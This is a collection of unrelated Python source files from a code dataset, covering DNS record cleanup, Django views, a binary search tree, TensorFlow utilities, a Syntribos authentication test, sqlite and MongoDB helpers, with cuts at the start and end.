isreverselookupzone -eq True |Get-DnsServerResourceRecord -RRType PTR | where {$_.RecordData.PtrDomainName -eq '\"+hostname+\".\"+DNS_Domain+\".'} | foreach {$_.distinguishedname}\"\r\n result = session.run_ps(dns_command)\r\n content = result.std_out.decode()\r\n if (not content):\r\n print(\"PTR doesn't exist\")\r\n #if PTR record was found, remove the PTR record.\r\n else:\r\n tempvar = result.std_out.decode().split(\",\")\r\n hostname2 = tempvar[0].replace('DC=','')\r\n zonename2 = tempvar[1].replace('DC=','')\r\n print(\"Removing PTR record \"+hostname2+\" in zone \"+zonename2)\r\n dns_command = \"Remove-DnsServerResourceRecord -ZoneName \"+zonename2+\" -Name \"+hostname2+\" -RRType PTR -force\"\r\n result = session.run_ps(dns_command)\r\n print(result.std_out.decode())\r\n \r\n #search for a CNAME record pointing to hostname.\r\n dns_command = \"Get-DnsServerResourceRecord -RRType CNAME -ZoneName \"+DNS_Domain+\" | where {$_.RecordData.hostnamealias -eq '\"+hostname+\".\"+DNS_Domain+\".'} | foreach {$_.hostname}\"\r\n result = session.run_ps(dns_command)\r\n content = result.std_out.decode()\r\n if (not content):\r\n print(\"CNAME record not found\")\r\n \r\n #if CNAME record was found, remove the CNAME record.\r\n else:\r\n print(\"Removing CNAME record \"+result.std_out.decode())\r\n dns_command = \"Get-DnsServerResourceRecord -RRType CNAME -ZoneName \"+DNS_Domain+\" | where {$_.RecordData.hostnamealias -eq '\"+hostname+\".\"+DNS_Domain+\".'} | remove-dnsserverresourcerecord -zonename \"+DNS_Domain+\" -force\"\r\n result = session.run_ps(dns_command)\r\n print(result.std_out.decode())\r\n ","sub_path":"snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":5213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"623721189","text":"# encoding: utf-8\n# Copyright 2012 California Institute of Technology. ALL RIGHTS\n# RESERVED. U.S. Government Sponsorship acknowledged.\n\n'''Simple Predicate Handlers.'''\n\n\nfrom zope import schema\nfrom plone.supermodel import model\nfrom edrn.rdf import _\n\n\nclass ISimplePredicateHandler(model.Schema):\n '''An abstract handler for a predicate in the simple DMCC RDF generator.'''\n title = schema.TextLine(\n title=_('Token Key'),\n description=_(\"Key name of the token in the DMCC's web service description.\"),\n required=True,\n )\n description = schema.Text(\n title=_('Description'),\n description=_('A short summary of this RDF source.'),\n required=False,\n )\n predicateURI = schema.TextLine(\n title=_('Predicate URI'),\n description=_('URI of the predicate to use when encountering tokenized keys of this kind.'),\n required=True,\n )\n","sub_path":"src/edrn.rdf/edrn/rdf/predicatehandler.py","file_name":"predicatehandler.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"37188369","text":"\"\"\"\nEx 44.\n\nGiven the arrays, arr = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]) and arr1 = np.array([2, 3, 4]), find the common items present in both arrays and delete them from the arr.\n\nProgram Description: The objective of this program is to find and delete the common items present in two arrays. These common items are put into a new set. \nNote: Use the format np.setdiff1d(arr1, arr2)\n\n\"\"\"\n\nimport numpy as np\n\narr = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])\narr1 = np.array([2, 4, 8])\n\narr2 = np.setdiff1d(arr,arr1)\n\nprint(arr2)\n","sub_path":"Grade 08/Unit-3/Python/Eight_PPT_44.py","file_name":"Eight_PPT_44.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"101722844","text":"#!/usr/bin/env python3\n\nfrom mycelium import CameraD435\nfrom mycelium_utils import Scripter\n\nclass ScripterExt(Scripter):\n\n def run_main(self):\n self.camera = CameraD435(\n configuration_mode=self.cfg.d435['configuration_mode'],\n enable_rgb_stream=self.cfg.d435['enable_rgb_stream'],\n enable_depth_stream=self.cfg.d435['enable_depth_stream'],\n enable_infrared_stream=self.cfg.d435['enable_infrared_stream'],\n save_rgb_frames=self.cfg.d435['save_rgb_frames'], \n save_depth_frames=self.cfg.d435['save_depth_frames'], \n save_infrared_frames=self.cfg.d435['save_infrared_frames'])\n \n self.camera.start()\n\n def _sigint_handler(self, sig, frame):\n self.camera.exit_threads = True\n\n def _sigterm_handler(self, sig, frame):\n self.camera.exit_threads = True\n self.exit_code = 0\n\n def close_script(self):\n try:\n self.camera.stop()\n except:\n pass\n\n\nscripter = ScripterExt(log_source=\"run_d435\")\nscripter.run()\n","sub_path":"scripts/run_d435.py","file_name":"run_d435.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"479725822","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Oct 22 19:35:08 2019\r\n\r\n@author: Issac\r\n\"\"\"\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nclass BST(object):\r\n def __init__(self, data, left=None, right=None): \r\n self.data = data\r\n self.left = left \r\n self.right = right\r\n \r\ndef Insert(T,newItem):\r\n if T == None:\r\n T = BST(newItem)\r\n elif T.data.word >= newItem.word:\r\n T.left = Insert(T.left,newItem)\r\n else:\r\n T.right = Insert(T.right,newItem)\r\n return T\r\n\r\ndef numOfNodes(T):\r\n if T is None:\r\n return 0\r\n return numOfNodes(T.left) + 1 + numOfNodes(T.right)\r\n\r\ndef treeHeight(T):\r\n if T != None:\r\n left = 1 + treeHeight(T.left)\r\n right = 1 + treeHeight(T.right)\r\n if left > right:\r\n return 1 + left\r\n else:\r\n return 1 + right\r\n else:\r\n return -1\r\n \r\ndef Search(T, k):\r\n if T == None:\r\n return T\r\n if T.data.word == k:\r\n return T\r\n if T.data.word > k:\r\n return Search(T.left, k)\r\n else:\r\n return Search(T.right, k)\r\n \r\n \r\ndef DrawBST_(T, x0, x1, y, y_inc,ax):\r\n if T is not None:\r\n xm = (x0+x1)/2\r\n yn = y-y_inc\r\n if T.left is not None:\r\n p=np.array([[xm,y], [(x0+xm)/2,yn]])\r\n ax.plot(p[:,0],p[:,1],linewidth=1,color='k')\r\n DrawBST_(T.left,x0,xm,yn, y_inc,ax)\r\n if T.right is not None:\r\n p=np.array([[xm,y], [(x1+xm)/2,yn]])\r\n ax.plot(p[:,0],p[:,1],linewidth=1,color='k')\r\n DrawBST_(T.right,xm,x1,yn, y_inc,ax)\r\n ax.text(xm,y, str(T.data.word), size=10,ha=\"center\", va=\"center\",\r\n bbox=dict(facecolor='w',boxstyle=\"circle\"))\r\n\r\ndef DrawBST(T): \r\n fig, ax = plt.subplots()\r\n DrawBST_(T, 0, 200, 400, 20, ax)\r\n ax.set_aspect(1.0)\r\n ax.axis('off') \r\n plt.show() \r\n","sub_path":"Lab_4/BSTree.py","file_name":"BSTree.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"94367216","text":"from django.shortcuts import render\nfrom django.core.mail import send_mail\n\n# Create your views here.\n\ndef index(request):\n return render(request, 'index.html')\n\ndef contact(request):\n if request.method == \"POST\":\n message_name = request.POST['message-name']\n message_email = request.POST['message-email']\n message = request.POST['message']\n lists = [message_name, message_email, message]\n # send_mail(\n # 'hello,' + message_name, 'this is an automated message', 'saugatshrestha602@gmail.com', ['tanipe7345@allmtr.com'], fail_silently= False,\n # )\n\n\n\n return render(request, 'contact.html', {'lists':lists})\n else:\n return render(request, 'contact.html')\n","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"21530433","text":"import requests\nimport time\nimport random\nimport random_words\nfrom enum import Enum\n\nrn = random_words.RandomNicknames()\nrw = random_words.RandomWords()\nli = random_words.LoremIpsum()\n\n\nfor i in range(100):\n action = random.randint(0, 2)\n if action == 0:\n data = {\"name\": ' '.join(rn.random_nicks(count=2))}\n r = requests.post('http://localhost:5000/user', data=data)\n print(\"Created new user {} (user_id = {})\".format(data['name'], r.content))\n elif action == 1:\n data = {\n 'author': ' '.join(rn.random_nicks(count=2)),\n 'title': ' '.join(rw.random_words(count=8)),\n 'body': li.get_sentences(5),\n 'publish_date': '2016-07-18'\n }\n r = requests.post('http://localhost:5000/article', data=data)\n print(\"Created new article {} (article_id = {})\".format(data['title'], r.content))\n elif action == 2:\n data = {'name': ' '.join(rw.random_words(count=3))}\n r = requests.post('http://localhost:5000/feed', data=data)\n print(\"Created new feed {} (feed_id = {})\".format(data['name'], r.content))\n","sub_path":"feedapi/seed_db.py","file_name":"seed_db.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"598725963","text":"class BinarySearchTree:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n# RECURSIVE IMPLEMENTATION\n# traverse along its neighbors\n# add all the visited nodes to a list\n# until all the nodes are visited\n# traverse until you hit a leaf and then go back\n# call the callback pass in the value\n# if this node has a left child we call the recursion\n# same goes for the right\n # def depth_first_for_each(self, cb):\n # cb(self.value)\n # if self.left:\n # self.left.depth_first_for_each(cb)\n # if self.right:\n # self.right.depth_first_for_each(cb)\n\n# ITERATIVE IMPLEMENTATION\n# create a stack/list that holds on to nodes we visit\n# add root of tree to the stack, current node we are on\n# while length of stack is true\n# refer to the node we pop off of stack\n# if it has a child to the right append it to our stack\n# callback current node value\n # start at the root and append it to the stack\n # checkes if the root has children right and left\n # root gets popped off the stack and adds its children to stack\n # callback gets called on root and ends the roots connection\n # most recent child gets popped off the stack and gets checked for childs\n # if childs then they get added to the stack and the cb is called\n # on the the popped child\n def depth_first_for_each(self, cb):\n stack = []\n stack.append(self)\n\n while len(stack):\n current_node = stack.pop()\n if current_node.right:\n stack.append(current_node.right)\n if current_node.left:\n stack.append(current_node.left)\n cb(current_node.value)\n\n# same as depth first except right left ordering is different\n# and it is a different data structure\n def breadth_first_for_each(self, cb):\n queue = []\n queue.append(self)\n\n while len(queue):\n current_node = queue.pop(0)\n if current_node.left:\n queue.append(current_node.left)\n if current_node.right:\n queue.append(current_node.right)\n cb(current_node.value)\n\n def insert(self, value):\n new_tree = BinarySearchTree(value)\n if (value < self.value):\n if not self.left:\n self.left = new_tree\n else:\n self.left.insert(value)\n elif value >= self.value:\n if not self.right:\n self.right = new_tree\n else:\n self.right.insert(value)\n\n def contains(self, target):\n if self.value == target:\n return True\n if self.left:\n if self.left.contains(target):\n return True\n if self.right:\n if self.right.contains(target):\n return True\n return False\n\n def get_max(self):\n if not self:\n return None\n max_value = self.value\n current = self\n while current:\n if current.value > max_value:\n max_value = current.value\n current = current.right\n return max_value\n","sub_path":"data_structures/ex_1/binary_search_tree.py","file_name":"binary_search_tree.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"624177477","text":"\"\"\" Unused for the moment, I believe. \"\"\"\n\nimport tensorflow as tf\n\ndef get_shape(tensor):\n \"\"\"Returns the tensor's shape.\n Each shape element is either:\n - an `int`, when static shape values are available, or\n - a `tf.Tensor`, when the shape is dynamic.\n Args:\n tensor: A `tf.Tensor` to get the shape of.\n Returns:\n The `list` which contains the tensor's shape.\n \"\"\"\n\n shape_list = tensor.shape.as_list()\n if all(s is not None for s in shape_list):\n return shape_list\n \n shape_tensor = tf.shape(tensor)\n return [shape_tensor[i] if s is None else s for i, s in\n enumerate(shape_list)]\n\n\ndef repeat(tensor, repeats, axis=0):\n \"\"\"Repeats a `tf.Tensor`'s elements along an axis by custom amounts.\n Equivalent to Numpy's `np.repeat`.\n `tensor and `repeats` must have the same numbers of elements along `axis`.\n Args:\n tensor: A `tf.Tensor` to repeat.\n repeats: A 1D sequence of the number of repeats per element.\n axis: An axis to repeat along. Defaults to 0.\n name: (string, optional) A name for the operation.\n Returns:\n The `tf.Tensor` with repeated values.\n \"\"\"\n\n cumsum = tf.cumsum(repeats)\n range_ = tf.range(cumsum[-1])\n\n indicator_matrix = tf.cast(tf.expand_dims(range_, 1) >= cumsum, tf.int32)\n indices = tf.reduce_sum(indicator_matrix, reduction_indices=1)\n\n shifted_tensor = _axis_to_inside(tensor, axis)\n repeated_shifted_tensor = tf.gather(shifted_tensor, indices)\n repeated_tensor = _inside_to_axis(repeated_shifted_tensor, axis)\n\n shape = tensor.shape.as_list()\n shape[axis] = None\n repeated_tensor.set_shape(shape)\n\n return repeated_tensor\n\n\ndef _axis_to_inside(tensor, axis):\n \"\"\"Shifts a given axis of a tensor to be the innermost axis.\n Args:\n tensor: A `tf.Tensor` to shift.\n axis: An `int` or `tf.Tensor` that indicates which axis to shift.\n Returns:\n The shifted tensor.\n \"\"\"\n\n axis = tf.convert_to_tensor(axis)\n rank = tf.rank(tensor)\n\n range0 = tf.range(0, limit=axis)\n range1 = tf.range(tf.add(axis, 1), limit=rank)\n perm = tf.concat([[axis], range0, range1], 0)\n\n return tf.transpose(tensor, perm=perm)\n\n\ndef _inside_to_axis(tensor, axis):\n \"\"\"Shifts the innermost axis of a tensor to some other axis.\n Args:\n tensor: A `tf.Tensor` to shift.\n axis: An `int` or `tf.Tensor` that indicates which axis to shift.\n Returns:\n The shifted tensor.\n \"\"\"\n\n axis = tf.convert_to_tensor(axis)\n rank = tf.rank(tensor)\n\n range0 = tf.range(1, limit=axis + 1)\n range1 = tf.range(tf.add(axis, 1), limit=rank)\n perm = tf.concat([range0, [0], range1], 0)\n\n return tf.transpose(tensor, perm=perm)\n","sub_path":"cascade-Jupyternotebook-SMILES/models/nfp/layers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"470201842","text":"# coding=utf-8\n__author__ = 'victor'\n\nimport os\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\nsys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '..'))\nsys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../../util'))\n\n\npunc1 = [u'。']\npunc2 = [u',', u'、', u';']\n\n\nclass SentenceChunker(object):\n\n def __init__(self, su=120, sl=4, pl=60):\n\n self.sentence_len_upper = su\n self.sentence_len_lower = sl\n self.paragrahp_len_lower = pl\n\n def chunk(self, *docs):\n\n global punc2\n for doc in docs:\n for paragraph in doc.split('\\n'):\n if not paragraph.strip():\n continue\n if len(paragraph) < self.paragrahp_len_lower:\n yield paragraph\n continue\n for sentence_l1 in paragraph.split(u'。'):\n if len(sentence_l1) < self.sentence_len_lower:\n continue\n if len(sentence_l1) < self.sentence_len_upper:\n yield sentence_l1\n else:\n for punc in punc2[1:]:\n sentence_l1 = sentence_l1.replace(punc, punc2[0])\n for sentence_l2 in sentence_l1.split(punc2[0]):\n if len(sentence_l2) > self.sentence_len_lower:\n yield sentence_l2","sub_path":"data/nlp/common/chunk.py","file_name":"chunk.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"513013261","text":"from django.shortcuts import render\n\nfrom rest_framework import viewsets\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status # untuk http response serializers\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework import filters\nfrom rest_framework.authtoken.serializers import AuthTokenSerializer\nfrom rest_framework.authtoken.views import ObtainAuthToken\n\n\nfrom . import serializers\nfrom . import models\nfrom . import permissions\n\n# Create your views here.\nclass HelloApiView(APIView):\n\t\"\"\" test API View \"\"\"\n\tserializer_class = serializers.HelloSerializer\n\n\tdef get(self, request, format=None):\n\t\t\"\"\" mengembalikan list dari APIView fitur \"\"\"\n\t\tan_apiview = [\n\t\t\t'gunakan HTTP method sebagai function (get,post,patch,put,delete)',\n\t\t\t'sama dengan traditional django view',\n\t\t\t'memberikan kamu paling kontrol dengan logic',\n\t\t\t'mapped manually ke URLS'\n\t\t]\n\n\t\treturn Response({'message': 'Halo', 'an_apiview': an_apiview})\n\n\tdef post(self, request):\n\t\t\"\"\" buat hello message dengan nama kita \"\"\"\n\t\tserializer = serializers.HelloSerializer(data=request.data)\n\n\t\tif serializer.is_valid():\n\t\t\tname = serializer.data.get('name') #jika valid akan masuk ke data dictionaries ini\n\t\t\tmessage = 'Hello {0}'.format(name) #\n\t\t\treturn Response({'message': message})\n\t\telse:\n\t\t\treturn Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) #standard if bad request\n\n\tdef put(self, request, pk=None):\n\t\t\"\"\" handle update object \"\"\"\n\t\treturn Response({'method': 'put'})\n\n\tdef patch(self, request, pk=None):\n\t\t\"\"\" patch request, hanya update fields yang dilayani dalam request c~ 127.0.0.1/api/profile/1/ \"\"\"\n\t\treturn Response({'method': 'patch'})\n\n\tdef delete(self, request, pk=None):\n\t\t\"\"\" delete dan object \"\"\"\n\t\treturn Response({'method': 'delete'})\n\n#viewset\n#setelah routing telah ditentukan dimana controller digunakan untuk request, controller kamu\n#bertanggung jawab untuk membuat sense dari request dan produksi output yang sesuai\nclass HelloViewSet(viewsets.ViewSet):\n\t\"\"\" test api viewset \"\"\"\n\tserializer_class = serializers.HelloSerializer\n\n\tdef list(self, request):\n\t\t\"\"\" return a hello message \"\"\"\n\t\ta_viewset = [\n\t\t\t'menggunakan actions (list, create, retrieve, update, partial_update)',\n\t\t\t'otomatis map ke URLS menggunakan Routers',\n\t\t\t'melayani lebih fungsional dengan code yang lebih sedikit'\n\t\t]\n\n\t\treturn Response({'message': 'Hello!', 'a_viewset': a_viewset})\n\n\tdef create(self, request):\n\t\t\"\"\" membuat hello message baru \"\"\"\n\t\tserializer = serializers.HelloSerializer(data=request.data)\n\n\t\tif serializer.is_valid():\n\t\t\tname = serializer.data.get('name')\n\t\t\tmessage = 'Hello {0}'.format(name)\n\t\t\treturn Response({'message': message})\n\t\telse:\n\t\t\treturn Response(\n\t\t\t\tserializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\tdef retrieve(self, request, pk=None):\n\t\t\"\"\" handle getting object dengan ID \"\"\"\n\t\treturn Response({'http_method' : 'GET'})\n\n\tdef update(self, request, pk=None):\n\t\treturn Response({'http_method': 'PUT'})\n\n\tdef partial_update(self, request, pk=None):\n\t\t\"\"\" handles updating part dari object \"\"\"\n\t\treturn Response({'http_method': 'PATCH'})\n\n\tdef destroy(self, request, pk=None):\n\t\t\"\"\" handle removing sebuat object \"\"\"\n\t\treturn Response({'http_method': 'DELETE'})\n\nclass UserProfileViewSet(viewsets.ModelViewSet):\n\t\"\"\" handle create dan update profile \"\"\"\n\tserializer_class = serializers.UserProfileSerializer\n\tqueryset = models.UserProfile.objects.all()\n\tauthentication_classes = (TokenAuthentication,) #tuples\n\tpermission_classes = (permissions.UpdateOwnProfile,)\n\tfilter_backends = (filters.SearchFilter,)\n\tsearch_fields = ('name', 'email', )\n\nclass LoginViewSet(viewsets.ViewSet):\n\t\"\"\" cek email dan pasword dan returen auth token \"\"\"\n\tserializer_class = AuthTokenSerializer\n\n\tdef create(self, request):\n\t\t\"\"\" menggunakan ObtainAuthTOken APIView untuk validasi dan membuat token. \"\"\"\n\t\treturn ObtainAuthToken().post(request)\n\t#lalu buka login dan ambil token taro di Modheader exstension chrome request header Authorization: token b026228ec4e0b54b3c7ec9b8c1505ada7f28fd22 filter urlpattern: *://0.0.0.0/* lalu liat yang kita login ada form buat put","sub_path":"project1/project1_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"629039929","text":"import sqlite3\nimport os.path\nimport errno\n#Timing\nimport datetime, time\nfrom time import sleep\nfrom random import randint\nclass database: \n \n def __init__(self,name, location=None):\n \n if location != None:\n try: \n os.makedirs(location)\n except OSError as e:\n if e.errno == errno.EEXIST:\n print(\"Database exists\")\n else:\n raise\n self.location = location+'\\\\'+name+'.db'\n\n else:\n self.location = name+'.db'\n \n self.conn = sqlite3.connect(self.location)\n self.c = self.conn.cursor()\n \n def create_word_table(self,table_name):\n try: \n self.c.execute('''CREATE Table '''+table_name+'''\n (word TEXT) ''')\n self.conn.commit()\n except sqlite3.Error as e:\n print(str(e))\n \n self.close()\n \n def insert(self,table_name,data):\n self.connect()\n \n if type(data) is list:\n qmarks = ','.join(['%s']*len(data[0]))\n columns = ','.join(data[0].keys())\n search = ','.join(['?' for d in data[0].keys()])\n \n elif type(data) is dict:\n qmarks = ','.join(['%s']*len(data))\n columns = ','.join(data.keys())\n search = ','.join(['?' for d in data.keys()])\n \n if qmarks and columns and search:\n query = \"INSERT INTO %s (%s) VALUES (%s)\"%(table_name,columns,search)\n \n try:\n self.c.execute(query,list(data.values()))\n pass\n except sqlite3.Error as e:\n print('Database Insert Error: ',str(e))\n print('\\n\\nData: ',)\n \n self.conn.commit()\n \n def get_ranword(self):\n\n query1 = 'select count(*) from words;'\n self.c.execute(query1)\n count = self.c.fetchone()[0]\n \n random = randint(1,count)\n query2 = 'select * from words limit 1 offset '+str(random)+';'\n \n self.c.execute(query2)\n return self.c.fetchone()[0]\n \n \n def connect(self):\n self.conn = sqlite3.connect(self.location) \n self.c = self.conn.cursor()\n\n def close(self):\n self.conn.commit()\n self.conn.close()\n\n\n\n\n\n\n","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"308807172","text":"# Copyright 2016 Rackspace\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport os\n\nfrom syntribos.clients.http import client\nfrom syntribos.issue import Issue\nimport syntribos.tests.auth.datagen\nfrom syntribos.tests import base\n\ndata_dir = os.environ.get(\"CAFE_DATA_DIR_PATH\")\n\n\nclass BaseAuthTestCase(base.BaseTestCase):\n client = client()\n failure_keys = None\n success_keys = None\n\n @classmethod\n def data_driven_failure_cases(cls):\n failure_assertions = []\n if cls.failure_keys is None:\n return []\n for line in cls.failure_keys:\n failure_assertions.append((cls.assertNotIn,\n line, cls.resp.content))\n return failure_assertions\n\n @classmethod\n def data_driven_pass_cases(cls):\n if cls.success_keys is None:\n return True\n for s in cls.success_keys:\n if s in cls.resp.content:\n return True\n return False\n\n @classmethod\n def setUpClass(cls):\n super(BaseAuthTestCase, cls).setUpClass()\n cls.issues = []\n cls.failures = []\n cls.resp = cls.client.request(\n method=cls.request.method, url=cls.request.url,\n headers=cls.request.headers, params=cls.request.params,\n data=cls.request.data)\n\n @classmethod\n def tearDownClass(cls):\n super(BaseAuthTestCase, cls).tearDownClass()\n for issue in cls.issues:\n if issue.failure:\n cls.failures.append(issue.as_dict())\n\n def test_case(self):\n text = (\"This request did not fail with 404 (User not found)\"\n \" therefore it indicates that authentication with\"\n \" another user's token was successful.\")\n self.register_issue(\n Issue(test=\"try_alt_user_token\",\n severity=\"High\",\n text=text,\n assertions=[(self.assertTrue, self.resp.status_code == 404)])\n )\n self.test_issues()\n\n @classmethod\n def get_test_cases(cls, filename, file_content):\n \"\"\"Generates the test cases\n\n For this particular test, only a single test\n is created (in addition to the base case, that is)\n \"\"\"\n\n alt_user_config = syntribos.extensions.identity.config.UserConfig(\n section_name='alt_user')\n alt_user_id = alt_user_config.user_id\n if alt_user_id is None:\n return\n\n request_obj = syntribos.tests.auth.datagen.AuthParser.create_request(\n file_content, os.environ.get(\"SYNTRIBOS_ENDPOINT\"))\n\n prepared_copy = request_obj.get_prepared_copy()\n cls.init_response = cls.client.send_request(prepared_copy)\n\n prefix_name = \"{filename}_{test_name}_{fuzz_file}_\".format(\n filename=filename, test_name=cls.test_name, fuzz_file='auth')\n\n main_config = syntribos.config.MainConfig()\n version = main_config.version\n\n if version is None or version == 'v2':\n alt_token = syntribos.extensions.identity.client.get_token_v2(\n 'alt_user', 'auth')\n else:\n alt_token = syntribos.extensions.identity.client.get_token_v3(\n 'alt_user', 'auth')\n alt_user_token_request = request_obj.get_prepared_copy()\n for h in alt_user_token_request.headers:\n if 'x-auth-token' == h.lower():\n alt_user_token_request.headers[h] = alt_token\n\n test_name = prefix_name + 'another_users_token'\n\n def test_gen(test_name, request):\n yield (test_name, request)\n\n for name, req in test_gen(test_name, alt_user_token_request):\n c = cls.extend_class(test_name,\n {\"request\": alt_user_token_request})\n yield c\n","sub_path":"syntribos/tests/auth/base_auth.py","file_name":"base_auth.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"615589143","text":"import os\npath = 'D:/TableauBackup'\nfile_list = os.listdir(path)\n\nfor files in range(0,len(file_list)):\n file_date = os.path.getatime(path+'/'+file_list[files])\n print(file_list[files],file_date)\n\nwhile 1:\n if len(file_list) <= 10 :\n print(\"break...\")\n break\n else :\n os.system('forfiles /p \"D:\\TableauBackup\" /s /m *.* /d -10 /c \"cmd /c del @path\"')\n print(\"10개이상 파일 삭제...\")\n break\n","sub_path":"filedelete.py","file_name":"filedelete.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"199383121","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom werkzeug.routing import Rule\n\nurlpatterns = {\n Rule('/', endpoint='timeline'),\n Rule('/public', endpoint='public_timeline'),\n Rule('/', endpoint='user_timeline'),\n Rule('//follow', endpoint='follow_user'),\n Rule('//unfollow', endpoint='unfollow_user'),\n Rule('/add_message', endpoint='add_message', methods=['POST']),\n Rule('/login', endpoint='login', methods=['GET', 'POST']),\n Rule('/register', endpoint='register', methods=['GET', 'POST']),\n Rule('/logout', endpoint='logout'),\n}\n\n","sub_path":"app/url.py","file_name":"url.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585312445","text":"from scipy.io import loadmat\nimport numpy as np\nimport os\nfrom gittislab import dataloc\nimport pandas as pd\n\n\ndef load(path,verbose=True):\n '''\n mat_file.load() - a wrapper for scipy.io.loadmat()\n\n Parameters\n ----------\n path : Path\n File path of .mat file\n verbose: Boolean\n Whether to print string describing file location (verbose=True, default)\n\n Returns\n -------\n mat : dict\n default .mat import dictionary of file. For nested structures, use dtype_array_to_dict()\n\n '''\n \n if verbose == True:\n path_str=dataloc.path_to_description(path)\n print('\\tLoading ~%s.mat...' % path_str)\n mat=loadmat(path)\n if verbose == True:\n print('\\t\\tFinished')\n return mat\n\ndef array_of_arrays_to_flat_df(dfa):\n if not isinstance(dfa,pd.DataFrame):\n dfa=pd.DataFrame(dfa)\n column_headers=[x[0] for x in dfa.loc[0,:]]\n new_df={}\n for i,col in enumerate(column_headers):\n test_val=dfa.loc[1,i]\n if len(test_val) ==1:\n if len(test_val[0])==1:\n values=[x[0][0] for x in dfa.loc[1:,i]]\n else:\n values=[x.flatten() for x in dfa.loc[1:,i]]\n else:\n values=[x.flatten() for x in dfa.loc[1:,i]]\n new_df[col]=values\n return pd.DataFrame(new_df)\n\ndef dtype_array_to_dict(mat,field):\n '''\n mat_file.dtype_array_to_dict() - takes arrays with dtype descriptions in a\n given field ('field') of mat file dictionary, and makes a dictionary.\n\n Parameters\n ----------\n mat : dict\n Default .mat file after import using loadmat().\n field : str\n String describing field to use in mat file dict:\n e.g. if field = 'params', clean up mat['params']\n\n Returns\n -------\n new_dict : dict\n Dictionary where each dtype.name of field in mat is used to create\n dictionary keys with corresponding array values.\n\n '''\n fields=mat[field].dtype.names\n new_dict={}\n for i,f in enumerate(fields):\n temp=mat[field][0][0][i]\n if temp.size > 0:\n new_dict[f]=temp[0]\n else:\n new_dict[f]=np.nan\n return new_dict","sub_path":"mat_file.py","file_name":"mat_file.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225983119","text":"from json import dumps\n\n\nclass Restaurant:\n def __init__(self, blurhash, launch_date, location, name, online, popularity):\n self.blurhash = blurhash\n self.launch_date = launch_date\n self.location = location\n self.launch_date = launch_date\n self.name = name\n self.online = online\n self.popularity = popularity\n\n self.launched_days = None\n self.distance = None\n\n def as_response_dict(self):\n response_dict = self.__dict__.copy()\n response_dict.pop(\"distance\")\n response_dict.pop(\"launched_days\")\n\n return response_dict\n","sub_path":"src/restaurant.py","file_name":"restaurant.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"256634517","text":"from pymongo import MongoClient\nfrom datetime import datetime\nimport random\n\ndb_client = MongoClient(\"mongodb://localhost:27017/\")\n\niot_db = db_client['iot_service']\nsensors_col = iot_db['sensors']\n\nquery = {\"value\": {\"$gt\":24}} # gt(greater than) <-> lt(lesser than), 55보다 큰 것\n # gte, lte, ne(not equal)\nprojection = {\"_id\":0, \"topic\":1, \"value\":1} # topic과 value만 출력\n# projection = {\"_id\":0, \"reg_date\":0} # reg_date를 빼서 위와 같은 효과\nslist = sensors_col.find(query,projection).sort(\"value\") # .sort(\"value\", -1)\n\nfor x in 